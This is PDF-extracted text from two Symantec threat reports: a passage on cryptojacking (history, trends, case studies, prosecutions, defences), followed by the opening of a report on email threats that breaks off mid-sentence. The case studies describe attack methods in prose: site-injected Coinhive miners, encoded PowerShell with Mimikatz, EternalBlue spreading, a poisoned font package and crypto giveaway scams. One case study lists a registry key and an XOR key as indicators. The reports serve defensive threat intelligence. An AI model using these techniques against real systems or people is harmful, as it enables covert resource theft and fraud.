a clean-up. It may also increase businesses’ costs due to
increased electricity usage. Cryptojacking in the cloud also
has additional financial implications for organizations that are
being billed based on CPU usage.The history of coin mining
Cryptojacking surged massively in 2017, but coin mining
has been around for quite a while. Browser-based mining
dates back to May of 2011 when an innovative service called
BitcoinPlus.com was initially launched —not to be confused
with another cryptocurrency known as Bitcoin Plus.org . This
service used JavaScript code for pooled mining: website
owners could sign up to the service and embed scripts into
their web pages to make page visitors mine for them. Back
in 2011, Bitcoin was still in its infancy, mining difficulty was
relatively low, and cryptocurrency prices were even lower.
Even though it was possible at that time to mine for Bitcoin
via BitcoinPlus.com, the reality of the situation was that
it was largely a futile exercise. The reward was minuscule
compared to the amount of mining power and electricity
Cryptojacking: A Modern Cash CowBack to Table of ContentsPage 5
Cryptojacking:
A Modern Cash Cow
required—in June 2011, one bitcoin was
worth approximately US$30 (In compar -
ison, in August 2018, one bitcoin was
worth approximately $6,000).
Due to this fundamental profitability
problem with browser-based mining at the
time, it soon died away. However, the idea
was once again revived in December 2013
by a group of MIT students with a project
called Tidbit—which was ostensibly
touted as an alternative way for website
owners to raise revenue. However, soon
after it started, the New Jersey Division of
Consumer Affairs stepped in to investi -
gate the fledgling company on charges of
unlawful access to “a person’s computer
processing power.” This resulted in a long
drawn out case, which was finally settled
in 2015 .
The growing problem of profitability
was made even worse by the increasing
use of ASIC miners—special machines
that could mine Bitcoin much faster. The
advent of ASIC miners dragged Bitcoin
mining out of the realm of home users
and, after the demise of Tidbit, the idea of
browser-based JavaScript cryptocurrency
mining largely died away once again—
until the last quarter of 2017.
The launch of a new service by Coinhive in
September 2017 led to a renewed interest
in the area of browser-based mining.
Coinhive, which like most browser-based
miners mines Monero, was marketed as
an alternative to ads for websites seeking
to generate revenue. It recommends
that its users are transparent with site
visitors about its presence, but this hasn’t
stopped unscrupulous operators from
using it to carry out cryptojacking with
the hope that users won’t notice. Since
its launch there have been many reports
of it being used for cryptojacking without
website visitors’ knowledge.
Cryptojacking and Cyber CrimeBack to Table of ContentsPage 6
Cryptojacking:
A Modern Cash Cow
Cryptojacking & Cyber Crime
Cryptojacking
& Cyber Crime
02SectionCryptojacking and Cyber CrimeBack to Table of ContentsPage 7
Cryptojacking:
A Modern Cash Cow
Cryptojacking and Cyber Crime
The launch of Coinhive, along with other factors, meant that
we witnessed the greatest growth in activity from cyber
criminals in the area of browser-based, rather than file-based,
cryptojacking. The barrier to entry for browser-based crypto -
jacking is lower: browser-based cryptojacking does not require
the same level of skill as developing an exploit and installing
it on victims’ computers, which is what would be necessary to
carry out file-based activity. The launch of Coinhive—with its
ready made scripts—lowered this barrier even further.
Cryptojacking via browsers also means that even people
whose machines are fully patched are potential victims, if they
visit a website that has coin-mining code injected into it. The
code will use the power of their device to mine for
cryptocurrencies for as long as they have the web page open.
Key reasons for the surge in cryptojacking
|Coinhive lowering barrier to entry
|Surge in the value of cryptocurrencies
|Allows fully patched machines to be targeted
|Cyber criminals can operate without the activity
being noticed by victims
Another driving force in the popularity of cryptojacking among
cyber criminals was a steep rise in the value of cryptocurren -
cies towards the end of 2017, which included a surge in the
value of Monero, the primary cryptocurrency mined by
browser-based coinminers. At the height of the cryptojacking
craze at the end of December 2017/start of January 2018, the
price of one Monero coin hit more than $350, which is close to
10 times what it was valued at in August 2017. In July 2018 it
was hovering at around $130, but it is still worth almost three
times what it was valued at in August 2017.
Cryptojacking via browsers
also means that even
people whose machines are
fully patched are potential
victims
Figure 1. The fluctuations in the value of Monero from August
2017 to July 2018
50100150200250300350400
JUL JUN MAY APR MAR FEB JAN
2018DEC NOV OCT SEP AUG
2017Dollar
Lower barriers to entry plus increasing values, combined with
the ability to stay under the radar, made cryptojacking a dream
target for cyber criminals, which is why we saw such a surge in
activity in this area.
That coinminers can run on people’s computers without
them immediately being aware that their CPU power is being
hijacked is one of the major appeals of cryptojacking for cyber
criminals: it is a less disruptive way to make money. Victims
won’t necessarily immediately realize they are infected, if they
ever do. They may notice that their computer is performing
more slowly, that their fans are running more often, or that
their electricity bill has increased due to their computer using
more power, but if the impact is only minor victims may not
make the connection to cryptojacking. Cyber criminals can also
‘throttle’ coinminers so that they only use a certain amount of
computing power or use less power if the victim is using their
machine to do something that requires a lot of CPU usage,
such as playing graphically demanding games. This ability
to operate without being noticed can allow cyber criminals
to make money without victims even realizing they have
something unwanted on their machine or on the website they
are visiting. Other threats deployed by cyber criminals, such as
ransomware, do not allow them to go unnoticed like this.
However, when it comes to cryptojacking, scale is key for
cyber criminals who want to make money. A browser-based
coinminer generates roughly one cent per machine in 24
hours of continuous mining; with file-based miners that might
increase to between 25 and 50 cents every 24 hours. This
return depends a lot on the power of the device and on the
value of the currency being mined. But that would mean a
botnet of 100,000 bots carrying out browser-based mining,
running continuously for 30 days, could make $30,000, or a
file-based miner could make $750,000. The potential is there
for big results in cryptojacking, but scale is a key part of the
equation.Cryptojacking and Cyber CrimeBack to Table of ContentsPage 8
Cryptojacking:
A Modern Cash Cow
The surge in the profile and value of cryptocurrencies,
however, also had a detrimental impact on some people
who had invested in them, with numerous coin wallets and
exchanges being cleared out by cyber criminals who managed
to gain access to them . In this case the anonymity of cryp -
tocurrencies, and lack of regulation in the space, which is a
big part of cryptocurrencies’ appeal for many people, worked
against it as, in most cases, it is impossible to trace where
stolen cryptocurrency has gone.
Cryptojacking trends
The surge in activity in cryptojacking was stark. The increase
began in October 2017 and hit a peak in December—between
the beginning and end of 2017 total cryptojacking activity
increased by a staggering 34,000 percent.
This high level of activity continued into January and February
2018, but activity fell back slightly in March, and fell further in June. However, activity in the space is still extremely strong,
with the levels of activity in June on a par with the activity that
was taking place last November, and the difference between
June 2017 and June 2018, for example, is stark.
Figure 2. All cryptojacking events blocked by Symantec from
January 2017 to July 2018
123456789
JJMAMF JAN
2018DNOSAJJMAMF JAN
2017Million
Cryptojacking and Cyber CrimeBack to Table of ContentsPage 9
Cryptojacking:
A Modern Cash Cow
Also interesting is the breakdown of the split between detec -
tions on enterprise and consumer machines. When crypto -
jacking activity was at its height in December, January, and
February, these coinminers were being most widely detected
on consumer machines—with almost double as many detec -
tions of coinminers on consumer machines as enterprise
machines in those months. However, since we observed the
beginning of a drop in detections in March, detections on
consumer and enterprise machines have aligned, with almost
the same volume of detections on enterprise machines as
consumer machines in the last few months.
Figure 3. Consumer vs enterprise detections of coinminers,
January 2017 to July 2018
.1.2.3.4.5.6.7.8.91.01.11.21.31.4
JJMAMF JAN
2018DNOSAJJMAMF JAN
2017Enterprise ConsumerMillion
There are a few explanations for this:
|“Fair weather” cryptojacking cyber criminals targeting
end-user machines when the value of cryptocurrencies
was exceptionally high likely returned to other types of
cyber crime once values started to decline
|Some cyber criminals may have simply discontinued their
activity once they discovered cryptojacking on end-user
machines wasn’t as profitable as they thought
|Some cryptojacking cyber criminals are now targeting
large corporate networks.
One of the main appeals of browser-based cryptojacking for
cyber criminals—that it can take place on even fully patched
machines—is highlighted by the fact that Apple Mac operating
systems also saw a huge surge in cryptojacking detections
towards the end of 2017. We generally see less malicious
activity on Macs, so the fact these coinminers could run within
browsers and exploit the CPU power of these machines was a
big boon to cyber criminals. Cryptojacking detections on Macs
reached a peak in January but have fallen back since then.Figure 4. Endpoint detections of coinminers on Mac
computers, January 2017 to July 2018
25,00050,00075,000100,000125,000150,000
J MAMF JAN
2018DNOSAJJ MAMF JAN
2017
When we look at the geographic distribution of cryptojacking
detections, there does not seem to be a pattern, with the top
10 regions distributed all around the world. Most detections
are in the U.S., followed by Japan, and France. This under -
lines that cryptojacking is a global phenomenon. It is also
somewhat unsurprising as, if cyber criminals are embedding
these coinminers on a website, they have little control over the
geographic locations of those visiting the websites.
Figure 5. Top 10 countries in which cryptojacking activity was
blocked, 2017/2018
Australia 4%
Spain 4%
India 5%
Canada 6%
Brazil 6%
UK 7%
Germany 7%
France 10%U.S.
37%
Japan
14%
As we can see from the above statistics, cryptojacking hit
the cyber crime landscape at high speed: it was adopted and
exploited by cyber criminals so fast that it took a while for
both the public and the law to catch up. This allowed cyber
criminals to leverage the increased value of cryptocurren -
cies and the public’s interest in them to carry out a variety of
scams, some more successful than others. The law, too, has
struggled to catch up with this new challenge, though some
countries have cracked down harder than others on people
engaged in cryptojacking.Case StudiesBack to Table of ContentsPage 10
Cryptojacking:
A Modern Cash Cow
Section
Case StudiesCase
Studies
03Case StudiesBack to Table of ContentsPage 11
Cryptojacking:
A Modern Cash Cow
01 Social scams
As well as turning to cryptojacking, the increasing value
and profile of cryptocurrencies also inspired some cyber
criminals to try to use social media to make their crypto -
currency fortune. The cryptocurrency of choice in these
scams seems to mostly be Ethereum, which is one of the
other high-profile cryptocurrencies.
These scams are simple and attempt to exploit people’s
desire to make a quick buck. These scams are primarily
carried out on Twitter, and generally follow a similar
pattern:
01 Well-known tech/crypto personality sends a tweet.
02 Twitter account impersonating the well-known person
comments on the tweet, urging “their” followers to enter
an Ether giveaway. However, the rules of the competi-
tion generally require individuals to transfer some Ether
themselves to enter.
03 This tweet from the fake account is upvoted by bots con-
trolled by the scammer to appear directly beneath the
original tweet, so it is seen by more people and seems
more legitimate.
04 Any money transferred is never seen by “competition”
entrants again.
Among those impersonated in these types of scams were
Ethereum founder Vitalik Buterin, and Tesla and SpaceX
founder Elon Musk—big names in tech and cryptocurrency
seem to be the main targets. It’s hard to say how success -
ful these scams have been, but scammers only need a
small percentage of them to work to make a profit. These
scams have become such an issue that many of those most
frequently targeted—including Mr. Buterin—have changed
their Twitter handles to include something along the lines of “Not giving away Ether” or “Not doing crypto giveaways.”
Twitter has recently deleted millions of spammy accounts
in an attempt to clean up its platform, but it doesn’t
seem to have put an end to these scams, as scammers
will continue to make new fake accounts to proliferate
these scams for as long as they remain profitable. Recent
research found at least 15,000 bot accounts engaged in
these types of crypto scams over a three-month period.
Quite recently, a scammer impersonating Elon Musk
managed to fool some media outlets . In this case, the
scammer sent a tweet claiming to be giving away a Tesla
Model 3, with several media outlets reporting that Musk
was giving away a free car, before numerous people
pointed out that the giveaway was a fake.
Another variation of this scam is criminals taking over
“verified” Twitter accounts—those with the blue tick—
and using them to attempt to carry out similar scams. In
a recent case, scammers seized control of the verified
Twitter account of a cancelled Fox TV show called Almost
Human . They then changed the display name (if they had
attempted to change the username they would have lost
the blue tick) and photo to that of Justin Sun, who is the
founder of Chinese blockchain start-up TRON. The account
then started tweeting out fake cryptocurrency “giveaway”
scams. The account was doing this for several days before
it was noticed. Even in this niche space cyber criminals
are attempting to innovate, knowing that when people
see a blue tick they give a Twitter account more credence.
Targeting the account of a cancelled TV show is a smart
move, as the account is likely to have many followers, but
may not be closely monitored by the company’s social
media team.
| Ethereum founder Vitalik
Buterin is frequently
targeted by these social
media scammersCase StudiesBack to Table of ContentsPage 12
Cryptojacking:
A Modern Cash Cow
02 Attacks on enterprises
Symantec researchers recently observed an incident where
an enterprise customer was subjected to two waves of
attacks that resulted in a Monero coinminer being installed
on thousands of machines.
This activity took place in March and April 2018 and
particularly targeted the South American offices of a large
auto maker. The activity seemed to be either two waves
of the same attack or two closely related attacks. The
initial infection vector used by the attackers has not been
identified, but they did subsequently leverage living-off-
the-land tools to spread across the network. They used
encoded PowerShell scripts to inject the payloads onto
victim machines: the payloads were the Coinreg Monero
coinminer ( Trojan.Coinreg ) and Mimikatz. The attackers
obtained valid credentials using Mimikatz, which is a
credential-gathering tool, and used them to remotely
read and write encrypted payloads to the registry keys of
devices on the victim network. It also appears the attacker
was uploading stolen information—probably credentials—
to the public cloud storage provider Dropbox.
The information linking the two different waves of attacks
is that the registry key used to store the payload in the
first attack wave matches the XOR decryption key used in
PowerShell scripts seen in the second wave.
Registry key value:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SasaiKudasai
XOR decryption key:
s@s@ikud@s@123
It’s unclear how much money this campaign may have
made for the cyber criminals involved.WannaMine
Another interesting file-based threat we have seen
developed by criminals mining cryptocurrencies is
WannaMine. WannaMine derives its name from the
WannaCry ransomware and coin mining. Unlike WannaCry,
which caused havoc around the world in 2017, it doesn’t
hold computers to ransom. However, it does use the same
network spreading capabilities as WannaCry, namely the
EternalBlue exploit. WannaMine (MSH.Bluwimps ) was
first reported on in October 2017, but started to gain
widespread attention in February 2018, following reports
of devices being rendered unusable due to the malware
causing such high CPU usage.
WannaMine uses a combination of living-off-the-land tech -
niques, such as Windows Management Instrumentation
(WMI) and PowerShell, and other malware tactics, such as
exploits and credential stealers, to maintain persistence
and move laterally from computer to computer. Symantec
researchers were able to confirm that it uses an exploit
against the Oracle WebLogic Server Remote Security
Vulnerability (CVE-2017-10271) as an initial infection
vector. Our researchers also found that the criminals
behind WannaMine are using the open-source exploit tool
JexBoss to identify and exploit vulnerable JBoss servers.
Since it was discovered in October 2017, WannaMine has
infected more than 75,000 devices.
Another similar threat, Smominru ( Trojan.Coinminer.B ),
which also uses EternalBlue and living-off-the-land
techniques to spread, has had more success, with its
linked wallet containing more than $1.5 million worth of
Monero. Our researchers found that one of the files the
threat downloads is a legitimate NVIDIA CUDA component.
This component (a runtime library) allows the malware to
use the CUDA application programming interface (API) of
CUDA-enabled graphics processing units (GPUs), and take
advantage of the parallel processing power of the GPUs on
infected machines and use it for cryptojacking.Case StudiesBack to Table of ContentsPage 13
Cryptojacking:
A Modern Cash Cow
03 Software supply chain attack
Software supply chain attacks are something we have
talked about extensively, with a chapter on them
featuring in this year’s ISTR publication . A recent
software supply chain attack was interesting for two
reasons: its goal was to install a coinminer on victims’
computers, and it was also a software supply chain
attack within the supply chain.
Researchers recently wrote about a PDF editor program
that was using a compromised font package to install
a coinminer on users’ computers. However, the plot
twist was that the program developer’s systems were
not compromised. The developer of the PDF program
downloads its font packages from another software
company, and it was this firm that was breached.
During the PDF editor’s installation, the program
retrieves the font packages as MSI files from the server
of a third-party software developer that offers font
packages to multiple companies. The hackers managed
to compromise the cloud server infrastructure of the
font package supplier. The attackers then copied and
hosted all the clean and digitally signed MSI files on
a replica server under their control. They changed
just one of the files, an Asian fonts pack, adding the
coinminer code. “Using an unspecified weakness (which
does not appear to be MitM or DNS hijack), the attackers
were able to influence the download parameters used
by the [PDF editor] app. The parameters included a
new download link that pointed to the attacker server,”
the researchers said. Anyone installing the PDF editor
would unknowingly install the font packages from the
attackers’ server, including the malicious package. The
PDF editor is installed on computers under SYSTEM
privileges, meaning that the coinminer receives full
access to the system.
The incident took place between January and March
2018, but only a small number of users were affected.04 Long arm of the law
As is often the case with developments in cyber crime,
the law is struggling to cope with the speed at which
they occur.
However, we have seen some court cases involving
defendants who have misused coinminers. One of the
countries cracking down the hardest in this area so far
is Japan. Recently, the first-ever person sentenced for
malicious use of the Coinhive library was sentenced
to one year in prison in Japan, although the term was
suspended for three years so, provided he stays out of
trouble for that time, he will not actually have to go to
prison. Masato Yasuda (24) reportedly embedded the
Coinhive library inside a game cheat tool he later offered
for download. Authorities said the tool was downloaded
90 times and that Yasuda made the equivalent of approx -
imately US$45 in Monero from the con.
Japan seems to be keen to clamp down strongly on cryp -
tojacking, with authorities from 10 prefectures having
arrested 16 individuals on suspicion of cryptojacking.
In another case, it was reported that an individual
was ordered by the Yokohama Summary Court to pay
100,000 yen (US$905) on charges of illegally storing a
computer virus after he was found to be using Coinhive
on his website. The defendant in the case is arguing,
however, that a browser-based coinminer is not a virus
as it operates in a similar manner to online advertise -
ments. He is appealing the ruling.
Other criminal cases
While prosecutions related to cryptojacking are rela -
tively new, we have seen prosecutions of people who use
cryptocurrencies to carry out money laundering or other
illegal activities:
|Included in an indictment against 12 Russian
intelligence agents alleged to have hacked Hillary
Clinton’s presidential campaign is a charge of
conspiracy to commit money laundering, as they
allegedly used Bitcoin to launder payments .Case StudiesBack to Table of ContentsPage 14
Cryptojacking:
A Modern Cash Cow
|In another case, a woman dubbed the “Bitcoin
Maven” was sentenced to a year and a day in federal
prison for illegally laundering the cryptocurrency .
Theresa Tetley, who resided in Southern California,
was a former stockbroker who prosecutors said
laundered millions of dollars for clients through an
unlicensed Bitcoin-for-cash service. She pleaded
guilty to money laundering and operating an unli -
censed money transmitting business. As well as a
prison sentence she was also fined $20,000 and
ordered to forfeit 40 bitcoins, about $292,000 in
cash, and 25 gold bars.
|Meanwhile in China, cops shut down a World Cup
betting ring that was hosting $1.5 billion in crypto -
currency bets. The platform operated on the dark
web and used only Bitcoin, Ethereum, and Litecoin.
It had been operating for eight months and had
30,000 users worldwide. China does not take a
friendly view of cryptocurrencies, attempting to
ban many of them, as well as banning initial coin
offerings (ICOs).The Future of CryptojackingBack to Table of ContentsPage 15
Cryptojacking:
A Modern Cash Cow
The Future of Cryptojacking
The Future of
Cryptojacking
Section
04The Future of CryptojackingBack to Table of ContentsPage 16
Cryptojacking:
A Modern Cash Cow
The Future of Cryptojacking
The sustainability of this huge growth in cryptojacking is
something we pondered in the ISTR. We said then that “The
longevity of this activity very much depends on the future
value of these cryptocurrencies.” This seems to have been
borne out, with the drop in cryptojacking activity coinciding
with the decreasing value of Monero.
Questions have been asked recently as to whether crypto -
jacking has reached its peak, and if we are likely to see cyber
criminals returning to other threats, such as ransomware and
financial Trojans. The answer to this is probably a partial yes.
The drop in activity indicates that some cyber criminals have
stopped cryptojacking, or at the very least reduced the effort
they were putting into it. A few factors may have contributed
to this decrease in activity:
|The drop in value of cryptocurrencies
|The level of scale required to make a decent profit
|Security companies such as Symantec introducing better
detections for these coinminers as the threat increased
However, cryptojacking is far from dropping off cyber
criminals’ radar. In July 2018, a massive campaign targeted
more than 200,000 MiKroTik routers and altered the traffic
passing through the routers in order to inject a copy of the
Coinhive library inside all the pages served through the
router—allowing them to infect a huge amount of web traffic.
This shows that while overall activity may have decreased,
cyber criminals are still innovating in this space.
The increased profile of coin mining and cryptocurrencies also
means they have come to the attention of law enforcement
and officials. “ The Future of Digital Currency ” was recently
discussed by the House Financial Service Committee in the
U.S. Congress, with one of the participants—Representative
Brad Sherman—suggesting that “We should prohibit U.S.
persons from buying or mining cryptocurrencies.”
It is unlikely the U.S. would implement such an outright ban,
although other countries, including China and India , have
implemented laws cracking down on cryptocurrency trading.
However, it is likely that regulations and scrutiny in the area of
cryptocurrencies will continue to increase.
Such factors may discourage the wide adoption of crypto -
jacking by cyber criminals that was observed late in 2017, but
cryptojacking is still one of the main threats we are seeing
in the cyber security landscape. Once some groups of cyber
criminals find they are still able to make money in this area it
is likely to be something that will continue to cause headaches
for internet users for some time to come. The sustainability
of this huge growth
in cryptojacking is
something we pondered
in the ISTR. We said
then that “The longevity
of this activity very
much depends on the
future value of these
cryptocurrencies.” This
seems to have been
borne out, with the
drop in cryptojacking
activity coinciding with
the decreasing value of
Monero.05Section
Best PracticesBest
PracticesBest PracticesBack to Table of ContentsPage 18
Cryptojacking:
A Modern Cash Cow
Best Practices
|Emphasize multiple, overlapping, and mutually supportive
defensive systems to guard against single point failures
in any specific technology or protection method. This
includes deployment of endpoint, email, and web gateway
protection technologies as well as firewalls and vulnera -
bility assessment solutions. Always keep these security
solutions up to date with the latest protection capabilities.
|Educate anyone using your device or network and urge
them to exercise caution around emails from unfamiliar
sources and around opening attachments that haven’t
been solicited, which may contain file-based coin-mining
malware.
|Consider installing ad-blocking or anti-coin-mining exten -
sions on web browsers for an extra layer of protection
against potentially unwanted applications (PUAs).
|Only visit websites that you trust and watch out for any
small print on the website that may indicate it is running a
coinminer.
|Be wary of clicking on ads for unfamiliar websites and
when downloading apps to your phone. Mobile phones
can be used for mining cryptocurrency too. Use the same
caution when downloading browser extensions.
|Educate employees about the signs that indicate their
computer may have a coinminer and instruct them
to inform IT immediately if they think there may be a
coinminer on a device that is on the company network.
|Monitor battery usage on your device and, if you notice
a suspicious spike in usage, scan it for the presence of
any file-based miners. If that fails to show anything then
take note of the websites you had open when the spike in
battery usage occurred. |Install the latest patches on your devices, use strong
passwords and enable two-factor authentication.
|Ensure your router, and all IoT devices, are fully patched
and the firmware is up to date.
|Monitor network logs (IPS logs, DNS logs, firewall logs)
for suspicious outgoing connections to mining-related IP
addresses. Block these addresses at the corporate firewall
and consider suspicious any computer that continues to
access those addresses.
|Lock down RDP access and frequently replace all user
passwords—especially users with admin access—with
new, strong passwords.
|Run a recent release of PowerShell (5 or higher) and
configure it to log detailed activity.
|Secure your computers’ built-in Windows Management
Instrumentation (WMI). Attackers, including those seeking
to mine coins, increasingly abuse this technology. Admin -
istrators should consider creating Group Policy Objects
(GPO) or firewall rules to prevent unauthorized remote
WMI actions, and perhaps control access by user accounts.About Symantec
Symantec Corporation (NASDAQ: SYMC), the world’s leading
cyber security company, helps businesses, governments and
people secure their most important data wherever it lives.
Organizations across the world look to Symantec for strategic,
integrated solutions to defend against sophisticated attacks
across endpoints, cloud and infrastructure.
Likewise, a global community of more than 50 million people
and families rely on Symantec’s Norton suite of products for
protection at home and across all of their devices. Symantec
operates one of the world’s largest civilian cyber intelligence
networks, allowing it to see and protect against the most
advanced threats.
More Information
Symantec Worldwide: http://www.symantec.com
ISTR and Symantec Intelligence Resources: https://www.symantec.com/security-center/threat-report
Symantec Security Center: https://www.symantec.com/security-center
Norton Security Center: https://us.norton.com/security-center
|
Internet Security Threat ReportISTR
October 2017
Contents
Executive summary
and key findings
Malware
Spambots
BEC scams
Spam
User email behavior
Protection and best
practicesEmail Threats 2017
An ISTR Special Report
Analyst: Ben NahorneyInternet Security Threat Report
Contents
Figures and Tables
8 Email users targeted by malware per month
8 Percent of email users targeted by malware by industry
9 Top three malicious email themes
10 Downloader detections by month
10 URL malware rate
12 Necurs botnet activity
13 Waledac (Kelihos) botnet activity
15 BEC emails received per organization
15 Top subject lines in BEC scam emails
16 Phishing rate
18 Spam rate by half year
18 Spam campaign advertising pharmaceuticals
19 Bitcoin scam email
19 Example Tofsee email
19 The website Tofsee email links to
22 Broadly shared emails with sensitive information
22 Number of registered TLS email domains3 Executive summary and key findings
5 Big numbers
7 Malware
8 Impact
9 Malware distribution
11 Spambots
12 Necurs
12 BlankSlate
12 Fioesrat
13 Silentbrute
13 Pandex
13 Oliner
13 Sarvdap
13 Emotet
13 Waledac
14 BEC scams
15 Latest trends
16 Beyond wire transfers
16 Typosquatting
16 Phishing
16 Phishing scams of note
17 Spam
18 Advertising spam
19 Other distribution methods
19 The cost of spam
21 User email behavior
23 Protection and best practices
24 Email security
24 CloudSOC
24 Download Insight
24 Advanced antivirus engine
24 SONAR behavior engine
24 Ongoing development
25 Best practices
26 About Symantec
26 More InformationInternet Security Threat Report
Executive summary
and key findings
00SectionExecutive summary and key findingsBack to Table of ContentsPage 4
00 Email Threats 2017
Executive summary
Email is everywhere. In its 40-plus-year
history, email has become one of the most
ubiquitous electronic technologies to date,
with billions of messages sent each day.
With that level of popularity comes its share of risks. Email is by
far the most popular method for attackers to spread malicious
code. At present, a user is almost twice as likely to encounter
malicious code through email than being impacted by an exploit
kit. They are many more times as likely to encounter a malicious
email than see their devices fall prey to a worm or encounter a
malicious banner ad. On average, one out of every nine email
users has encountered email malware in the first half of 2017.
Malicious code is not the only threat utilizing email. With their
heavy reliance on social engineering, and their urgent nature,
business email compromise BEC scams are one of the more
potent email attacks making the rounds. No longer do such
attacks appear to be a rarity either, with approximately 8,000
businesses reporting attacks in a given month. On average a
targeted organization has 5.2 BEC emails sent to them each
month.
Spam continues to represent a vast proportion of email traffic,
increasing to 54 percent of email in the first half of 2017, after
the rate had appeared to bottom out over the last two years. The
importance of filtering spam has never been more important,
where not doing so can cost businesses the equivalent of
employing multiple people just to manage that spam.
The risks found in email are not evenly distributed either.
Attackers appear to be targeting certain businesses at higher
rates than others. Some industries are particularly targeted,
often seeing threat rates twice as high as the overall average.
While most of these threats come from outside an organization,
it’s equally important to protect outgoing email. Our findings
indicate that more could be done on this front in order to ensure
sensitive data sent by email is protected, thus avoiding the
exposure of private information.
Email continues to play a vital role in our electronic lives, but
so too does it play a vital role in the distribution of threats. It’s
as important as ever to understand email’s part in the threat
landscape and what can be done to protect yourself and your
business from them.Key findings
|An email user is almost twice as likely to encounter
malware through email than they are through the
next-most common infection method, exploit kits.
|One out of every nine email users encountered email
malware in the first half of 2017.
|Approximately 8,000 businesses each month are targeted
by BEC scams.
|A targeted organization has 5.2 BEC emails sent to them
in a given month.
|The spam rate for the first half of 2017 reached 54
percent, and is expected to continue to climb as the year
progresses.
|Without spam filters, a business effectively employs two
people to manage spam for every 100 employees.Internet Security Threat Report
Big numbers
01SectionBig numbersBack to Table of ContentsPage 6
01 Email Threats 2017 Email Threats 2017
The Big Numbers
Malware
SpamBEC scamsOne out of nine email users
encountered email malware
in the first half of 2017.
Approximately 8,000 businesses each month
are targeted by BEC scams.A user is almost twice as likely to encounter malware
through email than they are through exploit kits.
A targeted organization is sent 5 BEC emails
in a given month.2x
54%
2017 H2
(estimated)2017 H1 2016 H2 2016 H1 2015 H2 2015 H1The spam rate reached 54 percent , and is expected
to continue to climb as the year progresses.
Without spam filters, a business effectively employs two people
to manage spam for every 100 employees .Internet Security Threat Report
Malware
02SectionMalwareBack to Table of ContentsPage 8
02 Email Threats 2017
Email is the most frequently used delivery
mechanism for malware. According to research
we conducted across different threat vectors,
no other distribution channel comes close: not
compromised websites containing exploit kits, not
network file sharing technologies like SMB, not
malicious advertising campaigns that entice users
to click on banner ads. In fact, a user is almost
twice as likely to encounter malware through
email than come across a malicious website.
The strengths that have made email such a popular
communication tool are the same reasons cyber
criminals use it to spread their wares. The attackers
just fire off a spam message to a target, or group of
targets, and that’s it—no need to rely on indirect
methods where the target might or might not visit
a compromised site or click a malicious banner ad.
It is a direct channel to an end user who, if they
can be convinced to open an attachment or click
a link in the email, can cut a large swath through
a variety of network security layers, gaining
an attacker access to their intended target.
Impact
This direct access to the intended target is reason alone to
get businesses to take malicious email seriously. Businesses
are regularly targeted by malicious emails. In fact, in the first
half of 2017, more than 11 percent of users had at least one
malicious email sent to them. That’s one out of every nine
email users.
This figure trended upward as the year progressed. In January,
only one out of every 12 users (8.6 percent) had a malicious
email sent to them. By May this number had climbed to more
than one in seven (15 percent) and remained at that level
through June. Yet regardless of the level, it only takes one user
to fall victim to an attack, and the business has been compro -
mised.Email users targeted by malware per month
161412108642
J M A M F JAN
2017Users Targeted (1 in)
1210
1197 7
Depending on the industry that a given user works within,
this number could rise even higher. The percentage of users
that will have a malicious email sent to them climbs as high as
23.8 percent in industries such as Wholesale Trade and 22.6
percent in Mining. It’s 18.4 percent in Agriculture, Forestry, &
Fishing and more than 18.2 percent in Manufacturing.
Percent of email users targeted by malware by industry
IndustryUsers that had malicious emails
sent to them (%)
Wholesale Trade 23.8
Mining 22.6
Nonclassifiable Establishments 20.3
Agriculture, Forestry, & Fishing 18.4
Manufacturing 18.2
Public Administration 16.9
Retail Trade 14.4
Construction 12.9
Services 9.5
Transportation & Public Utilities 7.2
Finance, Insurance, & Real Estate 6.8 MalwareBack to Table of ContentsPage 9
02 Email Threats 2017
Malware distribution
The vast majority of malicious emails attempt to entice the
user through socially engineered subject lines and message
bodies in order to trick the user into opening a malicious
attachment. While the subject matter varied, the top three
themes centered around billing, package delivery, and scanned
documents—all topics where an email attachment wouldn’t
appear out of the ordinary.
Top three malicious email themes
Topic Percentage of malicious emails
Bill or Invoice 9.2
Package Delivery 9.1
Scanned Documents 8.4
There are generally two ways malicious code is distributed by
email—either by a URL in the message body or an email attach -
ment. Email attachments continue to be the most popular way
to deliver malicious code. In the first half of 2017, 74 percent
of malicious emails distributed their payload through email
attachments, though at times during that period the rate was
closer to 85 percent.
Now the payload in-and-of-itself wasn’t necessarily attached
to the email directly. Only about one-third of attachments
were executables in the first half of 2017. Overall, executable
payloads are not the easiest way to distribute a threat because
organizations can easily block them outright, and with good
reason—very few users have a justifiable need for distributing
or opening programs via email attachments.
Over the years, to improve their chances of delivering their
malware, attackers have moved from distributing their
payloads outright and come to rely on downloaders. Generally
speaking, downloaders are small programs or scripts that,
when run, can download further files. In the first half of
2017, 53.3 percent of malicious attachments were scripts
or macro-loaded office files, designed to download further
malicious software once they are run by the user.
The popularity of downloaders is due to a few simple reasons:
|Downloading a payload separately divorces the process of
obtaining and executing a malicious payload from email.
Once the script is launched all the network traffic for
getting the payload is completely separated from email
protocols, and thus email-based protections. The email
may deliver the downloader, but the downloader does the
heavy lifting on its own. The final payload is typically
ransomware but may also be an online banking threat such as SnifulaThe email contains an
attachment, usually a JavaScript (JS) file or an office file containing a macro02An attacker sends an email, typically masquerading as an
INVOICE, DELIVERY, or DOCUMENT SCAN01
When the file is launched, it will either prompt users to execute a macro or will launch PowerShell to download and execute the final payload03
04Typical email malware
infection process:
ORMalwareBack to Table of ContentsPage 10
02 Email Threats 2017
|The server can check the IP of the downloader and send
localized payloads, or no payload if the compromised
computer doesn’t meet certain criteria.
|The attacker can quickly change the final payload
should it get detected. New users compromised by
the downloader will get a fresh, undetected payload,
increasing the number of infections.
Overall, downloaders are split into three primary camps:
JavaScript, Office macros, and VBScript (VBS). JavaScript
downloaders were twice as common as Office macro down -
loaders in the first half of 2017—a ratio that has remained in
line with what was observed throughout 2016. For the most
part VBS has come in a distant third, though it did pass Office
macros briefly in late 2016.
However, all three types of downloaders saw declines coming
into the new year and throughout the first quarter, with
JavaScript and Office macros only picking back up again
in April, around the time the Necurs botnet resumed its
activity, after a three-month hiatus. VBS downloader numbers
appeared to stay low through the first half of 2017, though
there are indications they may pick up again in the later part
of the year.
Downloader detections by month
0100000200000300000400000500000600000700000800000
J MAMF JAN
2017DNOSAJJ MAMF JAN
2016W97M.Downloader JS.Downloader VBS.Downloader
Another tactic used by attackers is to forego attachments
entirely and include a link to a malicious website instead. This
is not a new technique, but the proportion of malicious email
containing a URL has been in decline since 2011.
However, in the first half of 2017 we saw a reversal of this
trend, where the proportion of URL-laden malicious email has
trended up. By the end of this period, one in six malicious emails
contained a URL instead of an attachment. This is the highest
